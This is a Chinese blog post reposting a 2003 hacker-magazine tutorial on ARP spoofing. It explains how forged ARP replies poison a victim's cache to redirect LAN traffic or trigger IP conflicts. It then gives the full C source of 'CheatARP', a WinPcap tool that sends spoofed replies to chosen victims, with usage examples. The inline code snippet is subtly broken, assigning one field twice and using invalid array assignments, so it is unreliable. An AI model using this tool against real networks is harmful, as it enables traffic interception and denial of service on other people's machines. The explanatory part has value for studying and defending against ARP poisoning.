最近要完成一个发送arp包的功能,以前没做过封包发送的内容,查找了写资料。不过看代码,arp包的结构搞懂了,不知道为啥还要个头,呵呵原来还要个以太网包头。看来基础知识还要加强啊,这里找了个写的比较详细的例子。
arp 欺骗的技术原理及应用<首发于黑客防线2003年11期>
WriteBy: LionD8
email: LionD8@126.com
Wesite: http://liond8.126.com
你知道,数据包在局域网上是怎么传输的吗?是靠什么来传输的吗?也许你会说是靠IP地址,那么你只正确了一半。其实真正在传输过程中是靠计算机的网卡地址即MAC来传输。
现在我们就用实例来模拟一下传输的全过程。现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100:bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。
好了在了解了上面基本arp通信过程后,现在来学习arp欺骗技术就好理解多了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。
下面给出一些程序实现的基本算法。先来给出ARP首部和请求应答的数据结构。如下:
以太网 | 以太网 | 帧 | 硬件 | 协议| 硬件 | 协议 | OP| 发送端 |发送端|目的以太|目的
目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 | |以太网地址| IP |网地址 | IP
6 6 2 2 2 1 1 2 6 4 6 4
|<---以太网首部---->|<-------------------28字节的ARP请求/应答------------->|
然后我们根据上面的数据结构定义两个结构分别如下:
//定义一个以太网头部
typedef struct ehhdr
{
UCHAR eh_dst[6]; /**//* destination ethernet addrress */
UCHAR eh_src[6]; /**//* source ethernet addresss */
USHORT eh_type; /**//* ethernet pachet type */
}EHHEADR, *PEHHEADR;
//28字节的ARP请求/应答
typedef struct arphdr
{
USHORT arp_hrd; /**//* format of hardware address */
USHORT arp_pro; /**//* format of protocol address */
UCHAR arp_hln; /**//* length of hardware address */
UCHAR arp_pln; /**//* length of protocol address */
USHORT arp_op; /**//* ARP/RARP operation */
UCHAR arp_sha[6]; /**//* sender hardware address */
ULONG arp_spa; /**//* sender protocol address */
UCHAR arp_tha[6]; /**//* target hardware address */
ULONG arp_tpa; /**//* target protocol address */
}ARPHEADR, *PARPHEADR;
//把上面定义的两种结构封装起来
typedef struct arpPacket
{
EHHEADR ehhdr;
ARPHEADR arphdr;
} ARPPACKET, *PARPPACKET;
那么我们自己打造的ARP结构就完成了,剩下的事情就是把我们打造好的结构按照我们的需求赋上值,然后通过适配器发送出去就OK了。
比如说我们要用C机,去欺骗A机,更新A的ARP缓存中192.168.85.100(B的IP)的MAC为C机的。
首先定义一个ARPPACKET结构:
ARPPACKET ARPPacket;
ARPPacket.ehhdr.eh_type=htons(0x0806); //数据类型ARP请求或应答
ARPPacket.arphdr.arp_hrd = htons(0x0001); //硬件地址为0x0001表示以太网地址
ARPPacket.arphdr.arp_pro = htons(0x0800); //协议类型字段为0x0800表示IP地址
ARPPacket.ehhdr.eh_dst=0xAAAAAAAAAAAA //A机的MAC
ARPPacket.ehhdr.eh_src=0xCCCCCCCCCCCC //C机的源MAC
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(0x0002); //ARP应答值为2
ARPPacket.arphdr.arp_spa = 0xCCCCCCCCCCCC //伪造的MAC,在这里C机用的自己的
ARPPacket.arphdr.arp_tha = 0xAAAAAAAAAAAA //
ARPPacket.arphdr.arp_spa =inet_addr("192.168.85.100"); //伪造B的IP地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.85.1"); //目标A的IP地址
//把要发送的数据保存在一个缓冲区szPacketBuf中,到时候只要把szPacketBuf的数据发送出去就可以了。
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
要发送数据,首先得打开一个适配器,打开一个适配器又需要先获得适配器的名字。如下:
PacketGetAdapterNames((char*)AdapterName, &AdapterLength); //取得所有适配器的名字.
LPPACKET lpAdapter =PacketOpenAdapter((LPTSTR) AdapterList[0]); //打开第一块适配器
第一块的下标是从0开始的。返回一个指针,它指向一个正确初始化了的ADAPTER Object
lpPacket = PacketAllocatePacket(); //为_PACKET结构分配内存。
PacketInitPacket(lpPacket, szPacketBuf, 60); //packet结构中的buffer设置为传递的szPacketBuf指针
PacketSetNumWrites(lpAdapter, 2); //设置发送次数为2次
//一切就绪发送:
PacketSendPacket(lpAdapter, lpPacket, TRUE); //通过打开的适配器把szPacketBuf的数据发送出去。
PacketFreePacket(lpPacket); //释放_PACKET结构
PacketCloseAdapter(lpAdapter); //关闭适配器
然后 在A机上的运行中输入arp -a 会发现原来的 192.168.85.100 BB-BB-BB-BB-BB-BB
变成 192.168.85.100 CC-CC-CC-CC-CC-CC 了。
另外利用ARP欺骗还可以进行IP冲突,网络执行官就是利用的这个原理,下面只简单介绍一下,如果A机接收到一个ARP应答,其中源IP是192.168.85.1(当然是伪造的),而MAC地址却和A的MAC不同,那么A机就会认为同一个IP对应了两台计算机(因为发现了两个不同的MAC地址)
那么就会出现IP冲突。
CheatARP <desIP> <desMac> <sourceIP> <sourceMac>
比如利用我做的工具:CheatARP 192.168.85.1 AAAAAAAAAAAA 192.168.85.1 BAAAAAAAAAAAA 那么A就会被冲突。
以上只是代码实现的基本思路和核心代码,有兴趣的朋友可以看看我的源码,源码上也有比较详尽的注释。
源代码:
/**//*
ARP 的欺骗的技术原理及应用
请先安装 WinPcap_3_0_a.exe
测试环境2k。
实用平台 NT,2K,XP
*/
#include "stdio.h"
#include "Packet32.h"
#include "wchar.h"
#define EPT_IP 0x0800 /**//* type: IP */
#define EPT_ARP 0x0806 /**//* type: ARP */
#define EPT_RARP 0x8035 /**//* type: RARP */
#define ARP_HARDWARE 0x0001 /**//* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /**//* ARP request */
#define ARP_REPLY 0x0002 /**//* ARP reply */
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma pack(push, 1)
//定义一个以太网头部
typedef struct ehhdr
{
UCHAR eh_dst[6]; /**//* destination ethernet addrress */
UCHAR eh_src[6]; /**//* source ethernet addresss */
USHORT eh_type; /**//* ethernet pachet type */
}EHHEADR, *PEHHEADR;
//定义一个28字节的arp应答/请求
typedef struct arphdr
{
USHORT arp_hrd; /**//* format of hardware address */
USHORT arp_pro; /**//* format of protocol address */
UCHAR arp_hln; /**//* length of hardware address */
UCHAR arp_pln; /**//* length of protocol address */
USHORT arp_op; /**//* ARP/RARP operation */
UCHAR arp_sha[6]; /**//* sender hardware address */
ULONG arp_spa; /**//* sender protocol address */
UCHAR arp_tha[6]; /**//* target hardware address */
ULONG arp_tpa; /**//* target protocol address */
}ARPHEADR, *PARPHEADR;
//把上面定义的两种结构封装起来
typedef struct arpPacket
{
EHHEADR ehhdr;
ARPHEADR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
void Usage();
void ChangeMacAddr(char *p, UCHAR a[]);
void banner();
int main(int argc, char* argv[])
{
static CHAR AdapterList[10][1024];
TCHAR szPacketBuf[512];
UCHAR MacAddr[6];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
DWORD AdapterNum = 0;
DWORD nRetCode, i;
banner();
if(argc!=5)
{
Usage();
return 0;
}
//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
//AdapterName:一块用户负责分配的缓冲区,将把适配器的名字填充进去,
//一串用一个Unicode的"0"分隔的Unicode字符串,每一个都是一个网卡的名字
//AdapterLength:这块缓冲区的大小
printf("Unable to retrieve the list of the adapters!");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
//把AdapterName中的适配器,分个copy到AdapterList[]中,i从0开始为第一个
while ((*temp != '0')||(*(temp-1) != '0'))
{
if (*temp == '0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"%d- %s", i+1, AdapterList[i]);
/**//* 注意,在这里一定要选择正确的适配器不然会自动重起 */
/**//* 我机器上的是 */
/**//* 1- _NdisWanIp */
/**//* 2- _{02C36709-5318-4861-86DE-A7A81118BFCC} */
/**//* 选择类似第2项的那种 一定要注意哦! */
printf("select adapter number:");
scanf("%d",&i); //我是输入的2
if(i>AdapterNum)
{
printf("Number error!");
return 0;
}
//打开刚刚选择的那个适配器,AdapterList[i-1]为适配器名字
//如果打开成功,返回一个指针,它指向一个正确初始化了的ADAPTER Object。否则,返回NULL。
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx", nRetCode);
return 0;
}
//为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf(":failed to allocate the LPPACKET structure.");
return 0;
}
memset(szPacketBuf, 0, sizeof(szPacketBuf)); //初始化szPacketBuf为0
ChangeMacAddr(argv[2], MacAddr); //MAC地址转换
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //目的MAC地址
ChangeMacAddr(argv[4], MacAddr); //MAC地址转换
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //源MAC地址。
ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址
ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址
//硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,
//以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
ChangeMacAddr(argv[4], MacAddr); //MAC地址转换
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr(argv[3]); //伪造的IP地址
ChangeMacAddr(argv[2], MacAddr); //MAC地址转换
memset(ARPPacket.arphdr.arp_tha,0,6); //初始化0
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr(argv[1]); //目标的IP地址
//把刚刚自己伪造的ARPPACKET结构复制到szPacketBuf中
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的szPacketBuf指针。
//lpPacket,指向一个_PACKET结构的指针。
//szPacketBuf,一个指向一块用户分配的缓冲区的指针。
//60,缓冲区的大小。这是一个读操作从driver传递到应用的最大数据量。
PacketInitPacket(lpPacket, szPacketBuf, 60);
//设置发送次数2次
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!");
}
//发送刚刚伪造的数据包
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!");
return 0;
}
printf ("Send ok!");
PacketFreePacket(lpPacket); //释放_PACKET结构
PacketCloseAdapter(lpAdapter); //关闭适配器
return 0;
}
void Usage()
{
printf("CheatARP <DstIP> <DstMAC> <SourceIP> <SourceMAC>");
printf("Such as:");
printf("CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042");
printf("CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA");
}
//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
void ChangeMacAddr(char *p, UCHAR a[])
{
char* p1=NULL;
int i=0;
int high ,low;
char temp[1];
for (i=0; i<6; i++)
{
p1=p+1;
switch (*p1) //计算低位的16进进制
{
case 'A': low=10;
break;
case 'B': low=11;
break;
case 'C': low=12;
break;
case 'D': low=13;
break;
case 'E': low=14;
break;
case 'F': low=15;
break;
default: temp[0]=*p1;
low=atoi(temp); //如果为数字就直接转变成对应的数值
}
switch (*p) //计算高位的16进制
{
case 'A': high=10;
break;
case 'B': high=11;
break;
case 'C': high=12;
break;
case 'D': high=13;
break;
case 'E': high=14;
break;
case 'F': high=15;
break;
default: temp[0]=*p;
high=atoi(temp); //如果为数字就直接转变成对应的数值
}
p+=2; //指针指向下一个X(高)X(低)字符串
a[i]=high*16+low; //求和得16进制值
}
}
void banner()
{
printf("Made By LionD8.");
printf("www.hackerXfiles.com");
}
如转载:请说明作者信息,表明首发刊物。